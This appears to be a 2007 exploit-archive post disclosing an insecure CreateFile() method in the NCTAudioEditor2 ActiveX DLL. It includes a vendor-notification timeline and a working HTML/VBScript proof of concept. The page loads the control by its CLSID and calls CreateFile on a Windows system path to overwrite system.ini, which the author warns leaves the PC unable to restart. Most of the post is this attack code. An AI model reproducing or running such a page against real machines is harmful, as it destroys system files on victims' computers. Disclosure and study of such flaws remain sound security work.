NCTAudioEditor2.txt
Posted on 27 June 2007
<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------ <b>NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method</b> url: http://www.nctsoft.com/products/NCTAudioEditor2/ author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b> Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits. Time Table: 2007/20/06 -> Bug discovered 2007/20/06 -> Vendor notified by mail 2007/21/06 -> No response, vendor notified by web form 2007/22/06 -> No response from vendor 2007/23/06 -> No response from vendor 2007/24/06 -> No response from vendor 2007/25/06 -> Public disclosure ------------------------------------------------------------------------------------------ <object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe On Error Resume Next Dim MyMsg If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _ "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _ "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _ " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _ " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then test.CreateFile "c:windowssystem_.ini" MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioEditor2") Else MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioEditor2") End If End Sub </script> </span></span> </code></pre>
